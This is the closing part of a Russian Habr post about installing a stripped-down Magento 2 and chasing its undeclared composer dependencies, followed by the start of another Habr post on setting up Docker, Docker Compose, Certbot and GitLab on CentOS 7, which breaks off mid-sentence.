Magento\Framework\View\Page\Config->publicBuild() called at [vendor/magento/framework/View/Result/Page.php:242] #15 Magento\Framework\View\Result\Page->render() called at [vendor/magento/framework/View/Result/Layout.php:171] #16 Magento\Framework\View\Result\Layout->renderResult() called at [vendor/magento/framework/Interception/Interceptor.php:58] #17 Magento\Framework\View\Result\Page\Interceptor->___callParent() called at [vendor/magento/framework/Interception/Interceptor.php:138] #18 Magento\Framework\View\Result\Page\Interceptor->Magento\Framework\Interception{closure}() called at [vendor/magento/framework/Interception/Interceptor.php:153] #19 Magento\Framework\View\Result\Page\Interceptor->___callPlugins() called at [generated/code/Magento/Framework/View/Result/Page/Interceptor.php:95] #20 Magento\Framework\View\Result\Page\Interceptor->renderResult() called at [vendor/magento/framework/App/Http.php:120] #21 Magento\Framework\App\Http->launch() called at [vendor/magento/framework/App/Bootstrap.php:263] #22 Magento\Framework\App\Bootstrap->run() called at [pub/index.php:29] ``` Exception #1 (ReflectionException): Class Magento\Cookie\Block\RequireCookie does not exist ``` #1 Magento\Framework\Code\Reader\ClassReader->getConstructor() called at [vendor/magento/framework/ObjectManager/Definition/Runtime.php:54] #2 Magento\Framework\ObjectManager\Definition\Runtime->getParameters() called at [vendor/magento/framework/ObjectManager/Factory/Dynamic/Developer.php:48] #3 Magento\Framework\ObjectManager\Factory\Dynamic\Developer->create() called at [vendor/magento/framework/ObjectManager/ObjectManager.php:56] #4 Magento\Framework\ObjectManager\ObjectManager->create() called at [vendor/magento/framework/View/Element/BlockFactory.php:46] #5 Magento\Framework\View\Element\BlockFactory->createBlock() called at [vendor/magento/framework/View/Layout/Generator/Block.php:272] #6 Magento\Framework\View\Layout\Generator\Block->getBlockInstance() called at [vendor/magento/framework/View/Layout/Generator/Block.php:252] #7 Magento\Framework\View\Layout\Generator\Block->createBlock() called at [vendor/magento/framework/View/Layout/Generator/Block.php:229] #8 Magento\Framework\View\Layout\Generator\Block->generateBlock() called at [vendor/magento/framework/View/Layout/Generator/Block.php:134] #9 Magento\Framework\View\Layout\Generator\Block->process() called at [vendor/magento/framework/View/Layout/GeneratorPool.php:93] #10 Magento\Framework\View\Layout\GeneratorPool->process() called at [vendor/magento/framework/View/Layout.php:365] #11 Magento\Framework\View\Layout->generateElements() called at [vendor/magento/framework/Interception/Interceptor.php:58] #12 Magento\Framework\View\Layout\Interceptor->___callParent() called at [vendor/magento/framework/Interception/Interceptor.php:138] #13 Magento\Framework\View\Layout\Interceptor->Magento\Framework\Interception{closure}() called at [vendor/magento/framework/Interception/Interceptor.php:153] #14 Magento\Framework\View\Layout\Interceptor->___callPlugins() called at [generated/code/Magento/Framework/View/Layout/Interceptor.php:68] #15 Magento\Framework\View\Layout\Interceptor->generateElements() called at [vendor/magento/framework/View/Layout/Builder.php:129] #16 Magento\Framework\View\Layout\Builder->generateLayoutBlocks() called at [vendor/magento/framework/View/Page/Builder.php:65] #17 Magento\Framework\View\Page\Builder->generateLayoutBlocks() called at [vendor/magento/framework/View/Layout/Builder.php:65] #18 Magento\Framework\View\Layout\Builder->build() called at [vendor/magento/framework/View/Page/Config.php:224] #19 Magento\Framework\View\Page\Config->build() called at [vendor/magento/framework/View/Page/Config.php:237] #20 Magento\Framework\View\Page\Config->publicBuild() called at [vendor/magento/framework/View/Result/Page.php:242] #21 Magento\Framework\View\Result\Page->render() called at [vendor/magento/framework/View/Result/Layout.php:171] #22 Magento\Framework\View\Result\Layout->renderResult() called at [vendor/magento/framework/Interception/Interceptor.php:58] #23 Magento\Framework\View\Result\Page\Interceptor->___callParent() called at [vendor/magento/framework/Interception/Interceptor.php:138] #24 Magento\Framework\View\Result\Page\Interceptor->Magento\Framework\Interception{closure}() called at [vendor/magento/framework/Interception/Interceptor.php:153] #25 Magento\Framework\View\Result\Page\Interceptor->___callPlugins() called at [generated/code/Magento/Framework/View/Result/Page/Interceptor.php:95] #26 Magento\Framework\View\Result\Page\Interceptor->renderResult() called at [vendor/magento/framework/App/Http.php:120] #27 Magento\Framework\App\Http->launch() called at [vendor/magento/framework/App/Bootstrap.php:263] #28 Magento\Framework\App\Bootstrap->run() called at [pub/index.php:29] ``` ``` Нужен module-cookie... ``` taras@taras-home:/var/www/magento-framework-check$ composer require magento/module-cookie Using version ^100.4 for magento/module-cookie ./composer.json has been updated Running composer update magento/module-cookie Loading composer repositories with package information Updating dependencies Lock file operations: 1 install, 0 updates, 0 removals - Locking magento/module-cookie (100.4.2) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 1 install, 0 updates, 0 removals - Installing magento/module-cookie (100.4.2): Extracting archive Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 45 packages you are using are looking for funding. Use the `composer fund` command to find out more! ``` Теперь работает. Так, всё, переключимся на админку. Видим, что конечно же нужна тема: ``` 1 exception(s): Exception #0 (LogicException): Unable to load theme by specified key: 'Magento/backend' ``` Ставим: ``` taras@taras-home:/var/www/magento-framework-check$ composer require magento/theme-adminhtml-backend Using version ^100.4 for magento/theme-adminhtml-backend ./composer.json has been updated Running composer update magento/theme-adminhtml-backend Loading composer repositories with package information Updating dependencies Lock file operations: 1 install, 0 updates, 0 removals - Locking magento/theme-adminhtml-backend (100.4.2) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 1 install, 0 updates, 0 removals - Installing magento/theme-adminhtml-backend (100.4.2): Extracting archive Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 45 packages you are using are looking for funding. Use the `composer fund` command to find out more! ``` И теперь можно войти в админку: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/91f/ac6/8e5/91fac68e5911841a26e4d0345f420af7.png)И она даже вроде бы нигде не падает. Но на этом я конечно же не остановлюсь. Есть такой трюк - если хочешь проверить, не налажал ли где-то в коде - запусти `bin/magento setup:di:compile`. ``` taras@taras-home:/var/www/magento-framework-check$ bin/magento s:d:c Compilation was started. Application code generator... 3/9 [=========>------------------] 33% 1 sec 146.0 MiBPHP Fatal error: Uncaught Error: Interface 'GraphQL\Error\ClientAware' not found in /var/www/magento-framework-check/vendor/magento/framework/GraphQl/Exception/GraphQlAuthenticationException.php:17 Stack trace: #0 /var/www/magento-framework-check/vendor/composer/ClassLoader.php(480): include() #1 /var/www/magento-framework-check/vendor/composer/ClassLoader.php(346): Composer\Autoload\includeFile() #2 [internal function]: Composer\Autoload\ClassLoader->loadClass() #3 [internal function]: spl_autoload_call() #4 /var/www/magento-framework-check/setup/src/Magento/Setup/Module/Di/Code/Reader/ClassesScanner.php(134): class_exists() #5 /var/www/magento-framework-check/setup/src/Magento/Setup/Module/Di/Code/Reader/ClassesScanner.php(117): Magento\Setup\Module\Di\Code\Reader\ClassesScanner->includeClass() #6 /var/www/magento-framework-check/setup/src/Magento/Setup/Module/Di/Code/Reader/ClassesScanner.php(87): Magento\Setup\Module\Di\Code\Reader\ClassesScanner->extract() #7 /var/www/magento-framework-check/setup/src/Magento/Setup/Modul in /var/www/magento-framework-check/vendor/magento/framework/GraphQl/Exception/GraphQlAuthenticationException.php on line 17 ``` И действительно... Разбираемся, устанавливаем пакет: ``` taras@taras-home:/var/www/magento-framework-check$ composer require webonyx/graphql-php Using version ^14.9 for webonyx/graphql-php ./composer.json has been updated Running composer update webonyx/graphql-php Loading composer repositories with package information Updating dependencies Lock file operations: 1 install, 0 updates, 0 removals - Locking webonyx/graphql-php (v14.9.0) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 1 install, 0 updates, 0 removals - Downloading webonyx/graphql-php (v14.9.0) - Installing webonyx/graphql-php (v14.9.0): Extracting archive 1 package suggestions were added by new dependencies, use `composer suggest` to see details. Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 46 packages you are using are looking for funding. Use the `composer fund` command to find out more! ``` И снова: ``` taras@taras-home:/var/www/magento-framework-check$ bin/magento s:d:c Compilation was started. Application code generator... 3/9 [=========>------------------] 33% 1 sec 150.0 MiBPHP Fatal error: Uncaught Error: Class 'Cm_Cache_Backend_Redis' not found in /var/www/magento-framework-check/vendor/magento/framework/Cache/Backend/Redis.php:12 Stack trace: #0 /var/www/magento-framework-check/vendor/composer/ClassLoader.php(480): include() #1 /var/www/magento-framework-check/vendor/composer/ClassLoader.php(346): Composer\Autoload\includeFile() #2 [internal function]: Composer\Autoload\ClassLoader->loadClass() #3 [internal function]: spl_autoload_call() #4 /var/www/magento-framework-check/setup/src/Magento/Setup/Module/Di/Code/Reader/ClassesScanner.php(134): class_exists() #5 /var/www/magento-framework-check/setup/src/Magento/Setup/Module/Di/Code/Reader/ClassesScanner.php(117): Magento\Setup\Module\Di\Code\Reader\ClassesScanner->includeClass() #6 /var/www/magento-framework-check/setup/src/Magento/Setup/Module/Di/Code/Reader/ClassesScanner.php(87): Magento\Setup\Module\Di\Code\Reader\ClassesScanner->extract() #7 /var/www/magento-framework-check/setup/src/Magento/Setup/Module/Di/App/Task/Operation/ApplicationC in /var/www/magento-framework-check/vendor/magento/framework/Cache/Backend/Redis.php on line 12 ``` Ставим и сразу проверяем: ``` taras@taras-home:/var/www/magento-framework-check$ composer require colinmollenhour/cache-backend-redis Using version ^1.14 for colinmollenhour/cache-backend-redis ./composer.json has been updated Running composer update colinmollenhour/cache-backend-redis Loading composer repositories with package information Updating dependencies Lock file operations: 1 install, 0 updates, 0 removals - Locking colinmollenhour/cache-backend-redis (1.14.2) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 1 install, 0 updates, 0 removals - Installing colinmollenhour/cache-backend-redis (1.14.2): Extracting archive Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 46 packages you are using are looking for funding. Use the `composer fund` command to find out more! taras@taras-home:/var/www/magento-framework-check$ bin/magento s:d:c Compilation was started. Application code generator... 3/9 [=========>------------------] 33% 1 sec 148.0 MiB In ErrorHandler.php line 61: Warning: Use of undefined constant MCRYPT_BLOWFISH - assumed 'MCRYPT_BLOWFISH' (this will throw an Error in a future version of PHP) in /var/www/magento-framework-check/setup/src/Magento/Setup/Module/Di/Code/ Scanner/PhpScanner.php on line 65 setup:di:compile ``` Интересно, что делает тут константа из расширения mcrypt, если от него вроде бы давно отказались? Ну, что делать, включаем и идем дальше ``` taras@taras-home:/var/www/magento-framework-check$ bin/magento s:d:c Compilation was started. Area configuration aggregation... 5/9 [===============>------------] 55% 5 secs 194.0 MiB In ClassReader.php line 45: Impossible to process constructor argument Parameter #0 [ Magento\AdminNotification\Model\System\MessageFactory $messageFactory ] of Magento\AsynchronousOperations\Model\ResourceModel\System\Messag e\Collection\Synchronized\Plugin class In ClassReader.php line 34: Class Magento\AdminNotification\Model\System\MessageFactory does not exist setup:di:compile ``` Очередная необъявленная зависимость, и опять, похоже, не в том направлении. Если модуль предоставляет функционал асинхронных операций, почему он зависит от каких-то деталей реализации Magento\AdminNotification? Ставим... ``` taras@taras-home:/var/www/magento-framework-check$ composer require magento/module-admin-notification Using version ^100.4 for magento/module-admin-notification ./composer.json has been updated Running composer update magento/module-admin-notification Loading composer repositories with package information Updating dependencies Lock file operations: 1 install, 0 updates, 0 removals - Locking magento/module-admin-notification (100.4.1) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 1 install, 0 updates, 0 removals - Installing magento/module-admin-notification (100.4.1): Extracting archive Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. taras@taras-home:/var/www/magento-framework-check$ bin/magento s:d:c Compilation was started. Interception cache generation... 6/9 [==================>---------] 66% 5 secs 258.0 MiBErrors during configuration scanning: Magento\WebapiAsync\Model\Config\Proxy Invalid proxy class for Magento\WebapiAsync\Model\Config Magento\ConfigurableProduct\Helper\Product\Options\Factory Invalid Factory for nonexistent class Magento\ConfigurableProduct\Helper\Product\Options in file /var/www/magento-framework-check/setup/src/Magento/Setup/Model/FixtureGenerator/ConfigurableProductTemplateGenerator.php Total Errors Count: 2 In Log.php line 92: Error during compilation setup:di:compile ``` И снова у нас в установщике зависимость от модуля Magento\_ConfigurableProduct, который нам не нужен (возможно, этих зависимостей можно избежать, но я не знаю, как?) Ставим и его ``` taras@taras-home:/var/www/magento-framework-check$ composer require magento/module-configurable-product Using version ^100.4 for magento/module-configurable-product ./composer.json has been updated Running composer update magento/module-configurable-product Loading composer repositories with package information Updating dependencies Lock file operations: 1 install, 0 updates, 0 removals - Locking magento/module-configurable-product (100.4.2) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 1 install, 0 updates, 0 removals - Installing magento/module-configurable-product (100.4.2): Extracting archive 4 package suggestions were added by new dependencies, use `composer suggest` to see details. Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 46 packages you are using are looking for funding. Use the `composer fund` command to find out more! taras@taras-home:/var/www/magento-framework-check$ bin/magento s:d:c Compilation was started. Interception cache generation... 6/9 [==================>---------] 66% 5 secs 260.0 MiBErrors during configuration scanning: Magento\WebapiAsync\Model\Config\Proxy Invalid proxy class for Magento\WebapiAsync\Model\Config Total Errors Count: 1 In Log.php line 92: Error during compilation setup:di:compile ``` А вот это так же из app/etc/di.xml:231: Ставим ``` taras@taras-home:/var/www/magento-framework-check$ composer require magento/module-webapi-async Using version ^100.4 for magento/module-webapi-async ./composer.json has been updated Running composer update magento/module-webapi-async Loading composer repositories with package information Updating dependencies Lock file operations: 2 installs, 0 updates, 0 removals - Locking magento/module-webapi (100.4.1) - Locking magento/module-webapi-async (100.4.0) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 2 installs, 0 updates, 0 removals - Installing magento/module-webapi (100.4.1): Extracting archive - Installing magento/module-webapi-async (100.4.0): Extracting archive Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 46 packages you are using are looking for funding. Use the `composer fund` command to find out more! taras@taras-home:/var/www/magento-framework-check$ bin/magento s:d:c Compilation was started. Plugin list generation... 9/9 [============================] 100% 6 secs 262.0 MiB Generated code and dependency injection configuration successfully. ``` Так-так. Мне не снится? Похоже, это всё. Действительно, а то я уже хотел объявить, что всё совсем плохо и остановить дальнейшее копание. В общем, морда работает, админка работает. Пора делать выводы. Итог ---- Начнем снизу. Какие расширения PHP нам понадобилось включить сверх заявленного в системных требованиях Magento 2? Для Composer - 3: phar, dom, json.Это логично, ведь если Magento требует Composer, все его зависимости должны быть установлены - окей. Но есть еще и расширения, которые требует сама Magento, но которые были почему-то забыты в требованиях. Их 5: pdo (впрочем, логично, что pdo\_mysql без него не работает) mysqlnd tokenizer mcrypt fileinfo (скорее тут имеем баг, который лечится установкой расширения) Теперь посмотрим, что у нас по пакетам composer. Вот модули, которые пришлось по ставить вручную (magento2-base был отправной точкой), чтобы заставить Magento 2 работать: ``` "require": { "colinmollenhour/cache-backend-file": "^1.4", "colinmollenhour/cache-backend-redis": "^1.14", "magento/framework": "^103.0", "magento/magento2-base": "^2.4", "magento/module-admin-notification": "^100.4", "magento/module-configurable-product": "^100.4", "magento/module-cookie": "^100.4", "magento/module-search": "^101.1", "magento/module-store": "^101.1", "magento/module-webapi-async": "^100.4", "magento/theme-adminhtml-backend": "^100.4", "magento/theme-frontend-luma": "^100.4", "webonyx/graphql-php": "^14.9" } ``` Многие из них - явно забытые зависимости. О причинах этого мне судить сложно. Если модуль действительно не работает без другого модуля, какой смысл не указывать его в composer.json и module.xml? Если у кого-то есть догадки - пишите. Вот список 72 модулей Magento, которые установились по итогу: список ``` composer framework framework-bulk framework-message-queue magento-composer-installer magento2-base module-admin-notification module-asynchronous-operations module-authorization module-backend module-backup module-bundle module-captcha module-catalog module-catalog-import-export module-catalog-inventory module-catalog-rule module-catalog-search module-catalog-url-rewrite module-checkout module-cms module-cms-url-rewrite module-config module-configurable-product module-contact module-cookie module-cron module-customer module-deploy module-developer module-directory module-downloadable module-eav module-email module-gift-message module-import-export module-indexer module-integration module-media-storage module-msrp module-newsletter module-page-cache module-payment module-product-alert module-quote module-reports module-require-js module-review module-rss module-rule module-sales module-sales-rule module-sales-sequence module-search module-security module-shipping module-store module-tax module-theme module-translation module-ui module-url-rewrite module-user module-variable module-webapi module-webapi-async module-widget module-wishlist theme-adminhtml-backend theme-frontend-blank theme-frontend-luma zendframework1 ``` Весьма внушительное число, учитывая, что большая часть из них может мне никогда не понадобиться. Но при этом они не отключаются даже через консольную команду: пример ``` $ bin/magento module:disable Magento_Wishlist Unable to change status of modules because of the following constraints: Cannot disable Magento_Wishlist because modules depend on it: Magento_Store: Magento_Store->Magento_Customer->Magento_Wishlist Magento_Directory: Magento_Directory->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Theme: Magento_Theme->Magento_Customer->Magento_Wishlist Magento_Config: Magento_Config->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Backup: Magento_Backup->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Variable: Magento_Variable->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Eav: Magento_Eav->Magento_Catalog->Magento_Wishlist Magento_Customer: Magento_Customer->Magento_Wishlist Magento_CatalogImportExport: Magento_CatalogImportExport->Magento_Customer->Magento_Wishlist Magento_AdminNotification: Magento_AdminNotification->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Indexer: Magento_Indexer->Magento_Backend->Magento_Customer->Magento_Wishlist Magento_Cms: Magento_Cms->Magento_Catalog->Magento_Wishlist Magento_Catalog: Magento_Catalog->Magento_Wishlist Magento_Payment: Magento_Payment->Magento_Sales->Magento_Wishlist Magento_Quote: Magento_Quote->Magento_Customer->Magento_Wishlist Magento_CmsUrlRewrite: Magento_CmsUrlRewrite->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Backend: Magento_Backend->Magento_Customer->Magento_Wishlist Magento_Msrp: Magento_Msrp->Magento_Catalog->Magento_Wishlist Magento_Contact: Magento_Contact->Magento_Customer->Magento_Wishlist Magento_Cookie: Magento_Cookie->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Cron: Magento_Cron->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Bundle: Magento_Bundle->Magento_Customer->Magento_Wishlist Magento_Deploy: Magento_Deploy->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Developer: Magento_Developer->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Authorization: Magento_Authorization->Magento_Backend->Magento_Customer->Magento_Wishlist Magento_Downloadable: Magento_Downloadable->Magento_Customer->Magento_Wishlist Magento_Rule: Magento_Rule->Magento_Catalog->Magento_Wishlist Magento_Email: Magento_Email->Magento_Store->Magento_Customer->Magento_Wishlist Magento_ImportExport: Magento_ImportExport->Magento_Catalog->Magento_Wishlist Magento_CatalogRule: Magento_CatalogRule->Magento_Customer->Magento_Wishlist Magento_Security: Magento_Security->Magento_Store->Magento_Customer->Magento_Wishlist Magento_MediaStorage: Magento_MediaStorage->Magento_Catalog->Magento_Wishlist Magento_Sales: Magento_Sales->Magento_Wishlist Magento_Widget: Magento_Widget->Magento_Catalog->Magento_Wishlist Magento_PageCache: Magento_PageCache->Magento_Store->Magento_Customer->Magento_Wishlist Magento_CatalogInventory: Magento_CatalogInventory->Magento_Customer->Magento_Wishlist Magento_ProductAlert: Magento_ProductAlert->Magento_Customer->Magento_Wishlist Magento_Checkout: Magento_Checkout->Magento_Customer->Magento_Wishlist Magento_Reports: Magento_Reports->Magento_Wishlist Magento_Review: Magento_Review->Magento_Customer->Magento_Wishlist Magento_Rss: Magento_Rss->Magento_Customer->Magento_Wishlist Magento_Search: Magento_Search->Magento_Reports->Magento_Wishlist Magento_GiftMessage: Magento_GiftMessage->Magento_Customer->Magento_Wishlist Magento_SalesRule: Magento_SalesRule->Magento_Customer->Magento_Wishlist Magento_Captcha: Magento_Captcha->Magento_Customer->Magento_Wishlist Magento_CatalogSearch: Magento_CatalogSearch->Magento_Customer->Magento_Wishlist Magento_User: Magento_User->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Ui: Magento_Ui->Magento_Store->Magento_Customer->Magento_Wishlist Magento_ConfigurableProduct: Magento_ConfigurableProduct->Magento_Customer->Magento_Wishlist Magento_Tax: Magento_Tax->Magento_Customer->Magento_Wishlist Magento_AsynchronousOperations: Magento_AsynchronousOperations->Magento_Backend->Magento_Customer->Magento_Wishlist Magento_Translation: Magento_Translation->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Shipping: Magento_Shipping->Magento_Customer->Magento_Wishlist Magento_UrlRewrite: Magento_UrlRewrite->Magento_Catalog->Magento_Wishlist Magento_Integration: Magento_Integration->Magento_Customer->Magento_Wishlist Magento_CatalogUrlRewrite: Magento_CatalogUrlRewrite->Magento_Catalog->Magento_Wishlist Magento_Webapi: Magento_Webapi->Magento_Store->Magento_Customer->Magento_Wishlist Magento_WebapiAsync: Magento_WebapiAsync->Magento_Webapi->Magento_Store->Magento_Customer->Magento_Wishlist Magento_Newsletter: Magento_Newsletter->Magento_Customer->Magento_Wishlist ``` Выглядит страшно. Почему столько зависимостей от функционала, который по логике должен быть изолированным и отключаемым? И меня терзают смутные сомнения насчет возможности это исправить. Думаю, это уже не исправят (по принципу "работает - не трогай"). В общем, выводы весьма печальны - наличие большого количества legacy кода и необходимость длительной поддержки обратной совместимости делают Magento 2 очень неповоротливой и тяжеловесной, без какой-либо возможности облегчения. Мне удалось избежать установки определенной части функционала, но вечно тянуть мертвым грузом полсотни неиспользуемых модулей - это действительно безумие.
https://habr.com/ru/post/571632/
null
ru
null
# Docker, GitLab, бесплатные SSL-сертификаты и другие плюшки современной веб-разработки И снова здравствуйте! Почти пять лет уже не писал здесь новых статей, хотя, если честно, всегда знал, что рано или поздно начну это делать снова. Не знаю как вам, а мне все таки это дело всегда казалось довольно увлекательным. Начинать написание нового материала после столь продолжительного отдыха от этого дела — труднее всего. Но раз цель поставлена — надо идти до конца. Начну немного издалека. Всю свою сознательную жизнь основным родом моей деятельности была и остается по сей день веб-разработка. Именно поэтому, сознаюсь сразу, что данный материал стоит воспринимать именно как попытка построения Docker-кластера от системного администратора любителя, но никак не профессионала. В этой статье я не могу претендовать на экспертное мнение в кластеризации и даже, более того, сам же хочу проверить достоверность собственного опыта. Под хабракатом вы найдете *Quick Start по использованию Docker* на уровне, необходимом для решения конкретных задач, обозначенных ниже, без углубления в "дебри" виртуализации и прочих сопутствующих тем. Если вы до сих пор хотите начать успешно использовать эту современную технологию, тем самым значительно упростив целый ряд процессов: от разработки веб-продуктов и до разворачивания и переноса оных под какое-либо современное оборудование — прошу под кат! ![Opening Illustration - Docker](https://habrastorage.org/r/w1560/files/701/e12/715/701e127152c84347bd00745eb1927cc9.png) Преамбула --------- Начнем, конечно же, с постановки задачи и определения основных технологий/методик, используемых в гайде. С самого начала я заинтерисовался Docker'ом с целью быстрого создания небольшого, но довольно универсального кластера под собственные проекты (рабочие, учебные, etc). Так как системным администрированием я профессионально заниматься не собирался — я решил, что должен обучиться основам кластеризации ровно до того момента, когда я смог бы без особых затруднений разворачивать любой популярный программный стек для веб-проекта. Далее я рассмотрю разворачивание на Docker следующих конфигураций: * **LAMP**; * **LEMP**; * **MEAN**. Первые две в представлении, думаю, не нуждаются. Третяя же состоит из [MongoDB](https://ru.wikipedia.org/wiki/MongoDB), [Express.js](https://ru.wikipedia.org/wiki/Express.js), [Node.js](https://ru.wikipedia.org/wiki/Node.js). **MEAN** я чаще всего использовал для написания [RESTful API](https://ru.wikipedia.org/wiki/REST), например, для дальнейшего разрабатывания на его основе мобильного приложения. После этого я сам себе немного усложнил задачу, добавив следующие требования: 1. **Возможность без затруднений использовать различные домены** (или, зачастую, поддомены) для каждого отдельного контейнера (по принципу [виртуальных хостов](https://ru.wikibooks.org/wiki/VirtualHost)). 2. **Использование HTTPS-протокола** по-умолчанию. Более того, хотелось бы организовать бесплатное генерирование **SSL-сертификатов**, не уступающих при этом платным аналогам. 3. **Разворачивание на одном и том же сервере [GitLab CE](https://gitlab.com/gitlab-org/gitlab-ce)** — в качестве основной CVS-системы для работы над проектами не только в одиночку, но и в команде. #### Основные определения: * **[Docker](https://www.docker.com/)** — программное обеспечение для автоматизации развёртывания и управления приложениями в среде виртуализации на уровне операционной системы. * [**Letsencrypt**](https://letsencrypt.org/) — Бесплатный автоматический центр авторизации (CA). Предоставляет бесплатные сертификаты для включения поддержки **HTTPS (SSL / TLS)** на любом веб-сайте. * **[GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-ce)** — Open Source аналог GitHub. Обеспечивает управление Git-репозиториями, анализ кода, отслеживание ошибок, работу с каналами активности, создание Wiki и т.д. Установка и настройка --------------------- Проблем с установкой Docker и других пакетов не должно возникнуть. На официальном сайте этот процесс расписан довольно подробно. Далее я распишу общий перечень команд, необходимых для начальной настройки. Сразу уточню, что в этой статье я рассматриваю настройку Docker и всех сопутствующих программ на дистрибютиве **CentOS 7**, так как на этой ОС я уже давно привык работать, как на основной серверной системе. В целом на любом другом Linux-дистрибютиве действия будут примерно аналогичные, с той лишь разницей, что, например, для Ubuntu вы будете использовать **apt-get** вместо **yum / dnf** (для CentOS / Fedora). #### Docker + Docker Compose: Подготовка: `$ sudo yum update` `$ sudo tee /etc/yum.repos.d/docker.repo <<-'EOF'` `[dockerrepo]` `name=Docker Repository` `baseurl=https://yum.dockerproject.org/repo/main/centos/7/` `enabled=1` `gpgcheck=1` `gpgkey=https://yum.dockerproject.org/gpg` `EOF` Установка **Docker Engine**: `$ sudo yum install docker-engine` `$ sudo systemctl enable docker.service` `$ sudo systemctl start docker` Создание группы пользователей 'docker' и добавление туда текущего пользователя (это необходимо для того, чтобы работать с Docker без использования 'sudo' или root-доступа): `$ sudo groupadd docker` `$ sudo usermod -aG docker your_username` Проверка успешности установки: `$ docker run --rm hello-world` Установка Docker Compose (утилита для объединения нескольких контейнеров в одно веб-приложение): `$ sudo curl -L "https://github.com/docker/compose/releases/download/1.9.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose` `$ sudo chmod +x /usr/local/bin/docker-compose` `$ docker-compose --version` #### Certbot ([официальный сайт](https://certbot.eff.org/)): Утилита для автоматического получения/обновления SSL-сертификатов от **Letsencrypt**: Перед установкой необходимо [включить EPEL-репозиторий](https://fedoraproject.org/wiki/EPEL#How_can_I_use_these_extra_packages.3F), если этого не было сделано ранее. `$ sudo yum install certbot` Основы работы с Docker Engine ----------------------------- ![Docker Engine](https://habrastorage.org/r/w1560/files/466/da1/d5a/466da1d5a7dc4711afc9f9b603ab15b1.png) #### Базовые принципы: Docker представляет из себя дополнительный уровень абстракции; **систему, автоматизирующую *виртуализацию на уровне операционной системы***. > *"**Виртуализация на уровне операционной системы** — метод виртуализации, при котором ядро операционной системы поддерживает несколько изолированных экземпляров пространства пользователя, вместо одного. Эти экземпляры (часто называемые **контейнерами** или зонами) с точки зрения пользователя полностью идентичны реальному серверу. Ядро обеспечивает полную изолированность контейнеров, поэтому программы из разных контейнеров не могут воздействовать друг на друга."* > > > > From [Wikipedia](https://ru.wikipedia.org/wiki/%D0%92%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_%D0%BD%D0%B0_%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D0%B5_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B9_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%8B) **Основные преимущества использования Docker:** * Изолированность отдельных кластеров друг от друга; * Один и тот же Docker-контейнер может работать без изменений на множестве различных машин (с разными конфигурациями); * Docker оптимизирован для развертывания приложений (*application-centric*); * Автоматизация сборки приложений; * Повторное использование одних и тех же компонентов; * Open Source реестр готовых контейнеров ([Docker Hub](https://hub.docker.com/)); * Единый API для автоматизации пользовательской настройки контейнера и его разворачивания. Далее расмотрим основные команды, которые нам понадобятся для создания кластера: #### $ docker run По сути основная команда, выполняющая запуск нового контейнера. Основные параметры: 1. **--name**: UUID идентификатор: уникальное имя контейнера; 2. **--volume (-v)**: том, связанный с контейнером: задается в форме абсолютного пути к директории; 3. **--env (-e)**: переменная окружения: позволяет дополнительного настраивать запускаемый контейнер; 4. **--publish (-p)**: настройка определенных портов, необходимых для работы контейнера (например, 80 для http, 443 для https). #### $ docker ps Команда, с помощью которой можно получить список запущенных контейнеров. #### $ docker stop container-name Команда, останавливающая работу контейнера. #### $ docker rm container-name Удаление определенного контейнера. **Внимание**: прежде, чем удалить контейнер, его необходимо остановить (*docker stop*)! Более подробно разобраться в работе каждой команды вы можете в [официальной документации](https://docs.docker.com/). В этой статье я обратил внимание только на основные команды, необходимые для успешного начала работы с Docker. Конкретные примеры использования `docker run` вы увидите в этой статье немного далее. Настройка виртуальных хостов ---------------------------- ![Nginx Reverse Proxy](https://habrastorage.org/r/w1560/files/a39/b4c/860/a39b4c86004545e6b2a5ae2a82874354.png) **Проблема:** определенная сложности реализации кластера с использованием виртуальных хостов в различных контейнерах заключается в том, что один порт может "прослушиваться" только одним контейнером (настраивается через --publish). Получается, что по-умолчанию мы можем создать только один контейнер, который будет отвечать на запросы к серверу через порт 80 и/или 443 (http и https протоколы, соответственно). **Решение:** в принципе, довольно очевидно использовать для решения этой проблемы ***Reverse Proxy***, инкапсулированный в один контейнер, который и будет "прослушивать" порты 80 и 443. Функционал данного контейнера будет 